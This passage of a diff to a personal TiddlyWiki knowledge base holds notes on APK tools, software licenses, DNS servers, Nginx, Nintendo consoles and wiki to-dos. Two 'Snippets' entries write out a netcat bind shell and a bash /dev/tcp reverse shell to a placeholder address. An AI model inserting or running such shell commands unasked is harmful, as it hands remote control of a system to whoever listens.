Enjoy Hacking!// - [[[APKPure|https://m.apkpure.com/apk-editor-android/com.gmail.heagoo.apkeditor]]] [[[Uptodown|https://apk-editor.en.uptodown.com/android]]] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [[[Pro (ApkBe)|https://en.apkbe.com/app/com.gmail.heagoo.apkeditor.pro]]]\n** The same developer offers other various apps that may be of related interest (also abandoned).\n* ''jadx'' - //Dex to Java decompiler// - [[[Git|https://github.com/skylot/jadx]]]\n\n; Problems, Snippets, Guides\n: [[Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide|https://medium.com/@asmaeziani47/reverse-engineering-and-analyzing-android-apps-a-step-by-step-guide-67b8af9bf152]]","tags":""}, {"created":"20230110225425199","creator":"Octt","text":"\u003C\u003CMediaWiki Animal_Crossing en 2>>","tags":"Nintendo TODO $:/i18n:en Game Proprietary","title":"Animal Crossing:en","modified":"20230207221713802","modifier":"Octt"}, {"created":"20230128233320444","creator":"Octt","text":"The ''Anti-Capitalist Software License'' (''ACSL'') is a license for proprietary software that, while with some good intentions, has a questionable implementation resulting in bad qualities. It's not open-source, and thus should be avoided for most projects. I don't think it could hold in a court of law.\n\n* Website: [[anticapitalist.software|https://anticapitalist.software]]\n\nI've seen a number higher than one of modified versions of this license in the wild:\n\n* Form promoting the anti-cryptocurrency narrative: https://github.com/Lana-chan/webgbcam/raw/main/LICENSE - It adds: \"//5. The User must not be involved in Non-Fungible Tokens or any other form of cryptocurrency minting or exchange.//\"\n","tags":"TODO Legal $:/i18n:en","title":"Anti-Capitalist Software License:en","modified":"20230206111552063","modifier":"Octt"}, {"created":"20230128234619470","creator":"Octt","text":"The ''Anti-Fascist MIT License'' is a MIT license modified with additional text to prohibit use by fascists. I don't think fascists will respect it, one of their mottos is literally \"me ne frego\" (\"I don't care\"), nor do I think the license could actually hold in a court of law, but the intentions behind it are good.\n\n* Repo: [[github.com/jamiebuilds/anti-fascist-mit-license|https://github.com/jamiebuilds/anti-fascist-mit-license]]\n\nAfter further research, it appears that forks exist:\n\n* https://github.com/Laurelai/anti-fascist-mit-license\n","tags":"Legal $:/i18n:en","title":"Anti-Fascist MIT License:en","modified":"20230206111552066","modifier":"Octt"}, @@ -662,6 +668,7 @@ Error message and password prompt {"created":"20230116204701243","text":"''[[daedalOS|https://dustinbrett.com]]'' is an [[open-source]] [[pseudo-OS]] made for the Web browser.\n\n* Git: [[github.com/DustinBrett/daedalOS|https://github.com/DustinBrett/daedalOS]]\n\n!! ''Try it''\n\n\u003C\u003CiFrameFixed \"https://dustinbrett.com\">>","tags":"$:/i18n:en","title":"daedalOS:en","modified":"20230206111552095","modifier":"Octt"}, {"created":"20230216222435750","creator":"Octt","text":"; Learning\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[W3Schools|https://www.w3schools.com/]]\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n","tags":"","title":"Development Resources","modified":"20230216223121525","modifier":"Octt"}, {"created":"20230130081618018","creator":"Octt","text":"","tags":"TODO","title":"DevKitPro","modified":"20230130081716116","modifier":"Octt"}, +{"created":"20230217224333827","creator":"Octt","text":"I still haven't yet understood what are the exact connotations of this term.\n\n* Defined as something you slowly curate over time with focus on the fact itself and not on the ultimate outcome/result\n* It's definitely the opposite of a blog (no posts strictly related to date, preferably many small ideas, ...)\n* Is a digital garden a [[Wiki]]? A [[Knowledge Base]] with [[Zettelkasten]] method? Static [[Website]] with many \"classic-style\" WIP pages? A personal [[Notebook]] left open to the public to read?\n","tags":"","title":"Digital Garden","modified":"20230217230753058","modifier":"Octt"}, {"created":"20230217074841336","creator":"Octt","text":"\u003C\u003C^wikipediaframe \"Display device\">>","tags":"Device Output","title":"Display","modified":"20230217075021314","modifier":"Octt"}, {"created":"20230209103557956","creator":"Octt","text":"\u003C\u003CMediaWiki Domain_Name_System en 4>>\n\nList of DNS servers (including \u003C\u003CWikipediaLink \"DNS over TLS\" en \" \">>, easily usable on [[Android]] >= 9):\n\n; πŸ‡ΊπŸ‡Έ ''[[Cloudflare|https://1.1.1.1/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"1.1.1.1\" en>>\n\n; πŸ‡ͺπŸ‡Ί ''[[dns0.eu|https://www.dns0.eu/]]'' (new, never tried it)\n: Seen on [[Feddit.it|https://feddit.it/post/145578]]\n\n; πŸ‡ΊπŸ‡Έ ''[[Google|https://dns.google/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"Google Public DNS\" en>>\n\n; πŸ‡¨πŸ‡­ ''[[Quad9|https://www.quad9.net/]]'' (good):\n: \u003C\u003CWikipediaLink- \"Quad9#Service\" en>>\n\n; πŸ‡©πŸ‡° [+ πŸ‡ΊπŸ‡Έ] ''[[UncensoredDNS|https://blog.uncensoreddns.org/]]'' (ideally perfect but I found it crashed sometimes or got slow):\n: \u003Cdiv>\n\n\u003C\u003C\u003C\n; anycast.uncensoreddns.org\n: Anycast from multiple locations.\n* DNS-over-TLS: `anycast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://anycast.uncensoreddns.org/dns-query`\n*IPv4: `91.239.100.100`\n*IPv6: `2001:67c:28a4::`\n\u003C\u003C\u003C\n\u003C\u003C\u003C\n; unicast.uncensoreddns.org\n: This node is hosted at AS9167 in Copenhagen, Denmark.\n* DNS-over-TLS: `unicast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://unicast.uncensoreddns.org/dns-query`\n* IPv4: `89.233.43.71`\n* IPv6: `2a01:3a0:53:53::`\n\u003C\u003C\u003C\n\u003C/div>\n\n\u003C!--\nTODO: \n- Link to the specific reasons of why to avoid certain DNS providers\n-->","tags":"Internet","title":"DNS","modified":"20230209172822428","modifier":"Octt"}, {"created":"20230116202834289","creator":"Octt","text":"\u003C\u003CMediaWiki Doom_(franchise) en 4>>\n\n\u003C!--\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://dos.zone/player/?bundleUrl=https://cdn.dos.zone/custom/dos/doom.jsdos&exit=1\">>\n--->\n","tags":"TODO FPS Retro $:/i18n:en Game","title":"DOOM:en","modified":"20230206203924221","modifier":"Octt"}, @@ -718,7 +725,7 @@ Error message and password prompt {"created":"20230217080132126","creator":"Octt","text":"I'm realizing that I'm doing everything kinda randomly, so it's probably good to define some points about keeping a personal knowledge base.\n\n; How are the others doing it?\n: It's good to find other personal wikis online, be they in Zettelkasten or tree form, and just browse them.\n: Is the TiddlyWiki-Zettelkasten method actually the best for me?\n: Who mantains paper-based personal wikis and why? Are others doing non-Zettelkasten paper wikis?\n\n; Defining objectives\n: What is the pratical reason of the KB?\n: Why keep one at all, instead of just a personal classic-style website for archiving and sharing complex information + simple and fast bookmarks for simple links?\n\n; Avoiding deviations?\n: With a digital system, which has full-text search, manually organizing information is wasting time if overdone.\n: Don't ever think for more than a few seconds on how to format something... Is this a good idea or can it make so knowledge is harder to absorb in the future (e.g. due to inconsistencies).\n: Is defining, once and for all, an efficient and fast modus operandi for everything, that covers everything, and then applying it mechanically every time, a good idea?\n","tags":"Octt","title":"Keeping a KB","modified":"20230217081521659","modifier":"Octt"}, {"created":"20221104183123144","text":"''Keyoxide'' is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.\n\n* Website, docs, and official instance: https://keyoxide.org\n* Source code: https://codeberg.org/keyoxide","tags":"$:/i18n:en","title":"Keyoxide:en","modified":"20230206111552181","modifier":"Octt"}, {"created":"20230205150256998","creator":"Octt","text":"\u003C\u003CMediaWiki \"Amazon Kindle\" en 1>>\n\n\u003C!-- TODO: Add jailbreak and homebrew resources -->","tags":"Amazon E-Paper TODO","title":"Kindle","modified":"20230213164045762","modifier":"Octt"}, -{"created":"20230203224049687","creator":"Octt","text":"\u003C\u003CMediaWiki Knowledge_base en 2>>","tags":"$:/i18n:en Knowledge Information","title":"Knowledge Base:en","modified":"20230208214412259","modifier":"Octt"}, +{"created":"20230203224049687","creator":"Octt","text":"\u003C\u003C^wikipediaframe Knowledge_base en >>","tags":"$:/i18n:en Knowledge Information","title":"Knowledge Base","modified":"20230217225117751","modifier":"Octt"}, {"created":"20230208195101826","creator":"Octt","text":"\u003C\u003CiFrame \"https://www.britannica.com/dictionary/eb/qa/Knowledge-and-Information\">>","tags":"Knowledge Information VS","title":"Knowledge VS Information","modified":"20230208195333550","modifier":"Octt"}, {"created":"20230213155238472","creator":"Octt","text":"''[[KOReader|https://koreader.rocks/]]'' is a document viewer for E Ink devices. Supported fileformats include EPUB, PDF, DjVu, XPS, CBT, CBZ, FB2, PDB, TXT, HTML, RTF, CHM, DOC, MOBI and ZIP files. It’s available for [[Kindle]], Kobo, PocketBook, Android and desktop Linux.\n\n* https://github.com/koreader\n","tags":"E-Paper Libre","title":"KOReader","modified":"20230213162455677","modifier":"Octt"}, {"created":"20230216193546517","creator":"Octt","text":"\u003C\u003C^wikipediaframe Language en>>\n\n!!!! Fictional and constructed languages\n\n* [[A Complete Guide to Creating a New Language|https://summalinguae.com/language-culture/guide-creating-new-language/]]\n* [[How To Create a Fictional Language Only You Understand|https://www.dabblewriter.com/articles/how-to-create-a-fictional-language]]\n\n!!!! Translation\n\n* [[Il gender e la traduzione di videogiochi β€” Outcast|https://www.outcast.it/home/il-gender-e-la-traduzione-di-videogiochi]] - \u003C\u003Cmywarc 423>>\n\n; Tools\n: Machine translation: [ext[//DeepL.com]] | [ext[//Translate.Google.com]]\n","tags":"","title":"Language","modified":"20230217094958892","modifier":"Octt"}, @@ -760,7 +767,7 @@ Error message and password prompt {"created":"20230202104823127","creator":"Octt","text":"\u003C\u003Cwikipediaframe \"Nintendo Entertainment System\" en 3>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible\">>\n","tags":"Nintendo Gaming $:/i18n:en Console","title":"NES","modified":"20230216210101873","modifier":"Octt"}, {"created":"20221202224129631","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```","tags":"Snippets $:/i18n:en","title":"netcat/Normal Shell","modified":"20230206111552224","modifier":"Octt"}, {"created":"20220926095309988","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```","tags":"Snippets $:/i18n:en","title":"netcat/Reverse Shell","modified":"20230206111552227","modifier":"Octt"}, -{"created":"20230207185112276","creator":"Octt","text":"\u003C\u003CMediaWiki Nginx en 2>>\n\n!!! ''Resources''\n\n* [[How to set up Nginx as a caching reverse proxy?|https://serverfault.com/questions/30705/how-to-set-up-nginx-as-a-caching-reverse-proxy]]\n","tags":"","title":"Nginx","modified":"20230207185916300","modifier":"Octt"}, +{"created":"20230207185112276","creator":"Octt","text":"\u003C\u003C^wikipediaframe Nginx en >>\n\n!!! ''Resources''\n\n* [[How to set up Nginx as a caching reverse proxy?|https://serverfault.com/questions/30705/how-to-set-up-nginx-as-a-caching-reverse-proxy]]\n* Nginx reverse proxy + URL rewrite: [[most correct way and best practice is usually...|https://serverfault.com/a/870620]]\n","tags":"","title":"Nginx","modified":"20230217223038921","modifier":"Octt"}, {"created":"20220923110724649","creator":"Octt","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003CLImg \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>","title":"Nintendo DS:en","modified":"20230206111552230","tags":"Gaming Nintendo NDS Console $:/i18n:en","modifier":"Octt"}, {"created":"20221018215927772","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' β€’ Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' β€’ Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' β€’ Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' β€’ Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' β€’ Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' β€’ Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' β€’ Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>","tags":"Nintendo NDS Gaming $:/i18n:en","title":"Nintendo DS/Software Requiring Only the Bottom Screen","modified":"20230206111552237","modifier":"Octt"}, {"created":"20220925130302833","creator":"Octt","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mΓ’chΓ©|Papier-mΓ’chΓ©]], essentially suffering from a variety of structural problems.\n\n\u003C\u003CLImg \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!! ''Homebrew''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''","tags":"Nintendo Gaming NX Console","title":"Nintendo Switch","modified":"20230206192820604","modifier":"Octt"}, @@ -768,13 +775,13 @@ Error message and password prompt {"created":"20230207185346822","creator":"Octt","text":"\u003C\u003CMediaWiki Node.js en 3>>\n\n!!! ''Resources''\n\n* [[Node.js HTTP Module|https://www.w3schools.com/nodejs/nodejs_http.asp]]\n","tags":"JavaScript","title":"Node.js","modified":"20230207190003732","modifier":"Octt"}, {"created":"20230203222119146","creator":"Octt","text":"\u003C\u003CMediaWiki NodeMCU en 1>>\n\n* https://www.nodemcu.com/index_en.html","tags":"MCU $:/i18n:en","title":"NodeMCU:en","modified":"20230206111552260","modifier":"Octt"}, {"created":"20230111120518929","creator":"Octt","text":"\u003C\u003C^wikipediaframe Nonogram en >>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://jokude.github.io/react-nonogram\">>\n\n!! ''Software Implementations''\n* https://Nonogram.com","tags":"Puzzle $:/i18n:en Game Generic Digital Analog","title":"Nonogram","modified":"20230217115652639","modifier":"Octt"}, -{"created":"20230208195350783","creator":"Octt","text":"\u003C\u003CMediaWiki Notebook en 1>>\n\nSome (small ones) can be cute, I think. It's a shame though that [[writing on paper, for me, has too many disadvantages as compared to writing digitally|Why I write digitally]].","tags":"","title":"Notebook","modified":"20230208213819612","modifier":"Octt"}, +{"created":"20230208195350783","creator":"Octt","text":"\u003C\u003C^wikipediaframe Notebook en >>\n\nSome (small ones) can be cute, I think. It's a shame though that [[writing on paper, for me, has too many disadvantages as compared to writing digitally|Why I write digitally]]... although I should probably just try it for some weeks to verify some ideas.","tags":"","title":"Notebook","modified":"20230217230230963","modifier":"Octt"}, {"created":"20230202110151955","creator":"Octt","text":"* https://www.numworks.com/\n* https://github.com/numworks\n* [[Omega|https://getomega.dev/]] (custom firmware) - \u003C\u003C[ \"[[Git|https://github.com/Omega-Numworks]]\">>\n\n\u003C\u003CMediaWiki NumWorks en 3>>\n","tags":"$:/i18n:en Calculator","title":"NumWorks:en","modified":"20230215231920160","modifier":"Octt"}, {"created":"20230206204149478","creator":"Octt","text":"''Octt'', aka ''OctoSpacc'', or ''Andrea'', is me, the living entity who primarily maintains the [[OcttKB]]. I am powered by a natural neural network, in case that wasn't obvious.\n\n\u003C!--\nSome info about me should go here, I suppose, so here are some points:\n*\n\nNot much else for now. -->\n\nNo info about me here for now. Tough luck. Maybe go read the about page on my [[sitoctt]] in the meantime: https://sitoctt.octt.eu.org/Chi-Sono.html\n\nHere are some things I like or do or whatever, that I'm putting here honestly just to get some tiddlers connected together, because I like graphs like the ''Focus'' one on the sidebar.\n\n* Graphs.. I just said I like them. Some others are at [[OcttKB/Data]]\n* [[Playing videogames|Gaming]], but I have special taste probably\n** [I should write my best picks here]\n* [[Writing]], like on my [[sitoctt]] or here\n* Software [[Development]], mostly frontend ([[CSS]] is crappy but epic)\n** My [[Web]] places wouldn't be as unique if this wasn't the case and I were to only write content\n","tags":"$:/ToC","title":"Octt","modified":"20230209150630634","modifier":"Octt","caption":"Me"}, {"created":"20220920160811383","creator":"Octt","text":"!! Welcome to my Personal {Knowledge Base + Public Notebook}!\n\nGeneral information about the site will soon be available. Licensing information is available [[here|OcttKB/Licensing]].\n\n!!! ''Table of Contents''\n{{$:/OcttKB/ToC}}\n\n!!! ''External Links''\n\n; ''My Hub'', Global Home Page: [[Hub.Octt.EU.org|https://hub.octt.eu.org]]\n: Links to my blog, webapps, and social profiles\n\n* ''KB Git Repo'' (deploy scripts, + limited commit history): [[GitLab.com/octtspacc/OcttKB|https://gitlab.com/octtspacc/OcttKB]]\n** Mirrors (don't send issues/PRs there): [[GitHub.com|https://github.com/octospacc/OcttKB]] | [[Gitea.it|https://gitea.it/octospacc/OcttKB]]\n\n//\u003Csmall>Note: The KB is also served in plain, unencrypted HTTP at the `http` 5th-level subdomain: `http://http.kb.octt.eu.org`.\u003C/small>//\n\n!!! ''Tags''\n{{$:/OcttKB/TagCloud}}\n\u003C!--\n\u003Cspan style=\"Line-Height:2em;\">\n\u003C$list filter=\"[tags[]!is[system]]\">\n\u003Cspan style=\"Padding:2px;\">\n\u003C$macrocall $name=\"tag\" tag={{!!caption}}/>\n\u003C/span>\n\u003C/$list>\n\u003C/span>\n--->\n\u003C!--\n\u003C\u003Clist-links filter:\"[!is[system]tags[]]\">>\n--->\n\n\u003Cbr>\n\n\u003Cdetails>\n \u003Csummary>\n \u003Ch3 style=\"display: inline; font-style: bold;\">\n All Tiddlers\n \u003C/h3>\n \u003C/summary>\n {{$:/OcttKB/AllTiddlers}}\n\u003C/details>\n\n\u003Cbr>\u003Chr>\u003Cbr>\n\n(Partial) [[Copyright Β© 2022, OctoSpacc|OcttKB/Licensing]] || OcttKB is powered by [[TiddlyWiki|TiddlyWiki]].\n\n\u003Csmall>//As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.//\u003C/small>","tags":"Meta $:/ToC $:/i18n:en Octt","title":"OcttKB","modified":"20230209101113332","modifier":"Octt"}, {"created":"20230109220804304","creator":"Octt","text":"\u003C!--\n!! Clouds!\n\nAre these useless? ''Yes!'' But they are so pretty...\n\n{{$:/OcttKB/TagCloud}}\n--->\n\n\u003Cdiv style=\"height: 200px; max-width: 800px; margin: auto;\">\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.js\" $width=\"100%\" $height=\"100%\" />\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003Cdiv class=\"NoSelect PIP-Select\">\n \u003C!--\n \u003Cspan>PIP (WIP): \u003C/span>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"↗️\" />\n \u003Clabel>↗️\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"β†˜οΈ\" />\n \u003Clabel>β†˜οΈ\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"❎\" checked=\"true\" />\n \u003Clabel>❎\u003C/label>\n -->\n \u003C!-- \u003Cdiv> -->\n {{$:/OcttKB/TheBrain/Levels.cfg}}\n {{$:/OcttKB/TheBrain/Tiddler-Manual.wgt}}\n \u003C!-- \u003C/div> -->\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/TagCloud.js\" />\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\nI still have to put a lot of stuff here... see [[OcttKB/WIP]]","tags":"OcttKB $:/i18n:en","title":"OcttKB/Data","modified":"20230208171053772","modifier":"Octt"}, {"created":"20220920160642961","creator":"Octt","text":"!!! Macros\n> \u003C\u003CTDirList $:/Macros 4>>\n\n!!! Theming\n> \u003C\u003CTDirList $:/Styles 4>>\n* [[$:/palettes/Octt Light]]\n\n!!! Modified system files\n* $:/StaticBanner (Shown as banner in statically exported pages)\n* $:/core/templates/static.content (Shown as static HTML content in the standard TiddlyWiki file)\n* $:/core/templates/exporters/StaticRiver (Added meta viewport for correct viewing on mobile) [[[Pull Request|https://github.com/Jermolene/TiddlyWiki5/pull/6953]]]\n\n\u003C!--\n* ~~$:/themes/tiddlywiki/vanilla (Changed paddings)~~\n-->","tags":"TiddlyWiki OcttKB $:/i18n:en","title":"OcttKB/Hacks","modified":"20230206111552293","modifier":"Octt"}, -{"created":"20230109112202970","creator":"Octt","text":"\u003Cdiv>\n\u003C$link to=\"OcttKB\" class=\"StartHere-Button\">[img[$:/ThirdParty/Icons/Windows/9x-Start.png]] \u003Cspan>here!\u003C/span>\u003C/$link>\n\u003C/div>\n\n{{$:/OcttKB/ToC}}\n\n\u003C!-- caption: {{$:/language/SideBar/Contents/Caption}} --->\n\n{{$:/OcttKB/LicensingButtons}}\n\n\u003Cbr>\n\n''Last edit at'' {{$:/OcttKB/LastEditTime}}","tags":"$:/tags/SideBar","title":"OcttKB/Index","modified":"20230208214230636","caption":"Index","modifier":"Octt","list-before":"$:/core/ui/SideBar/Open"}, +{"created":"20230109112202970","creator":"Octt","text":"\u003Cdiv>\n\u003C$link to=\"OcttKB\" class=\"StartHere-Button\">[img[$:/ThirdParty/Icons/Windows/9x-Start.png]] \u003Cspan>here!\u003C/span>\u003C/$link>\n\u003C/div>\n\n{{$:/OcttKB/ToC}}\n\n\u003C!-- caption: {{$:/language/SideBar/Contents/Caption}} --->\n\n{{$:/OcttKB/LicensingButtons}}\n\n\u003Cbr>\n\n''Last edit at'' {{$:/OcttKB/LastEditTime}}\n\n\u003C!-- GoatCounter statistics - Doesn't require a GDPR notice, see \u003Chttps://goatcounter.com/help/gdpr> -->\n\u003C\u003Cscript>>\n\u003Cscript data-goatcounter=\"https://private-analytics-not-for-public-use.octt.eu.org/octtkb/count\" async src=\"https://octospacc.gitlab.io/pastebin/GoatCounterCount.js\">\u003C/script>\n\u003C\u003Cscript off>>\n","tags":"$:/tags/SideBar","title":"OcttKB/Index","modified":"20230217221121721","caption":"Index","modifier":"Octt","list-before":"$:/core/ui/SideBar/Open"}, {"created":"20220924173239034","creator":"Octt","text":"All my //original content// on this website, unless where otherwise specified, is licensed under [[CC BY-SA 4.0|Creative Commons/BY-SA 4.0:en]].\n\nIt is a [[free culture]] license that promotes the benefits of making information available for anyone to learn from and build upon. However, be sure to know its terms before doing anything other than just consuming the site!\n\nYou can easily recognize which of the directly hosted (entirely contained in a //tiddler// itself, like text, string-encoded files, or standalone files in the file system) content is my original creation: it's anything that features no indication of source or license.\n\nUnless I forget to do so in specific instances, I always credit the source and/or specify the original license for anything upon which I don't hold 100% of the rights (even public domain content) and is a straight copy. I may not do so if the content in question is not directly copied //into// my site, but instead embedded from a Web space which is the property of another entity - in which case, a clickable link directing to the source will be present; if not, you can click the pencil-shaped (edit) button to read the source code for a specific //tiddler//, to discover possible external embed URLs.\n\nThe above is valid for all //content tiddlers// (those whose name does not start with `$:/`) and all //system tiddlers// created by me (not part of standard [[TiddlyWiki|TiddlyWiki]] or any of my [[installed plugins|$:/core/ui/ControlPanel/Plugins]]).\n\n//Non-original system tiddlers// which I never touched, obviously fall under their own license; but, for simplicity of operations, as well as to avoid accidentally claiming ownership on code not written by me, I hereby explicitly give away my copyright for //non-original system tiddlers// that I modified from their original state. This means you can consider those as always falling under their original license, even if I touched them; From another point of view, you can effectively consider any //diff// generated between the original version of a //system tiddler// and my modified version of the same file as falling under public domain.\n\n{{$:/OcttKB/LicensingButtons}}","tags":"OcttKB Legal $:/i18n:en","title":"OcttKB/Licensing","modified":"20230206113209759","modifier":"Octt"}, {"created":"20230126105640952","creator":"Octt","text":"!!! ''WIP/TODO''\n\n* Fix StaticRiver template, broken after introducing breadcrumbs (showing duplicate title, and also broken elements)\n* Move all bachecoctt links (and old GitHub stars) to proper tiddlers\n* Personal easy notes on various technical things of TiddlyWiki\n* Organize all my customizations into plugins easily installable by anyone\n* On showing date and time of last wiki saving (on Index tab on sidebar), also consider when a system tiddler is edited\n\n* Breadcrumbs bar:\n** Show unformatted title on click or at least disable hiding of some tokens\n** Button to copy full path to clipboard\n** Clicking on a path element brings up the compact directory listing at that point, instead of opening the tiddler directly\n*** Will need to expose an additional button to open the tiddler then\n** In the small directory listing menu, add textbox/button to quickly create a new tiddler in that path\n\n* In whatever directory listing, show button to create a new tiddler in current path\n\n* Custom proper reusable directory tree browser (maybe like the one we have with $:/OcttKB/ToC)\n** To use instead of the [[Directory macros|$:/Macros/Directory]], showing automatically on pages that are directories, and also as a file browser for the whole wiki\n\n* Data compression of everything (without breaking TiddlyWiki CLI support)\n** Choosing algorithm: best is probably Zstd\n** Tiddlers should be stored compressed individually; At saving, they are all compressed and stored in the HTML; At loading, they are read and decompressed to start the app\n** Single tiddlers are only compressed when it actually saves space, they should be checked at saving stage\n\n* When opening missing tiddlers, show a preview from Wikipedia or from word dictionaries, with GUI to customize fetching options\n* To the possible extent, save Git deploy scripts for the KB inside itself, for easy editing needs\n* Case insensitivity for tiddlers (?)\n* Handy button to reload direct scripts like $:/OcttKB/Functions.js\n* A way to reload any internal script (JS macros and exports) without reloading the entire wiki\n* Button to reload a single tiddler; if not possible, then the macros that can fail (e.g. MediaWiki, or all which fetch content from the Internet) should provide their own retry button\n* Fix images embedded with CSS float, make them not go out of tiddler's body if too tall\n* Better positioning of open/close sidebar button (should move the tiddler action bar buttons slightly to the left on single-column layout at least)\n\n* Add a feature to let users send issues or pull requests\n* Maybe add normal user comments?\n\n* Rehost embedded games for better CSS\n** Find the best retro console HTML5 emulator to embed in tiddlers which talk about certain games - they also need to be adapted to load ROMs from URL\n\n* In here I also put some tiddlers that are about a mainstream thing or topic just because they are connected to a more worthy tiddler; they should be tagged as Mainstream so that they can be filtered out in search and stuff\n* Special protection for some tiddlers, not encryption necessarily but just lock access to them globally until a specific task is performed (a password inputted is boring, maybe specific screen swipes is better)\n\n* \"Back to top\" button\n** Made with the style of bilibili, graphic is reused but logic needs to be reprogrammed\n\n!!!! ''Nice to have''\n* When tiddlers are transcluded show a small version of their action bar without the `\u003C\u003C{ >>` macro\n* Automatic lightboxes for images, without having to use the `\u003C\u003Cibox>>` macro\n\n!!!! ''i18n''\n* Make the language bar collapsed by default, or make it a menu callable by a button on the tiddler\n** Show the button as a country flag in the tiddler title maybe? Ideally showing it in place of the \":lang\" suffix when present\n* Selecting to open a language on a tiddler should ideally remove the previously open tiddler from the story river (or else if you switch language many times you have a cluttered river but no real advantage)\n* Automatically handle connections between different-language versions of a tiddler when the only difference in title is the \":lang\" suffix, without manually setting \"i18n\" attribute\n* Automatically handle eventual tiddlers which don't exist by their common i18n name (e.g \"Thing\") but do with a \":lang\" suffix, that should automatically transclude the //preferred language//\n** Preferred language could be enforced by the user with a global setting, or just be set softly based on the language of the last tiddler opened by the user (latter is ideal)\n\n!!!! ''External wikis''\n* Unified transclusion features for external TiddlyWikis and MediaWikis\n** Adapt the [[MediaWiki macro|$:/Macros/MediaWiki]] to:\n** Have internal links present\n*** Add 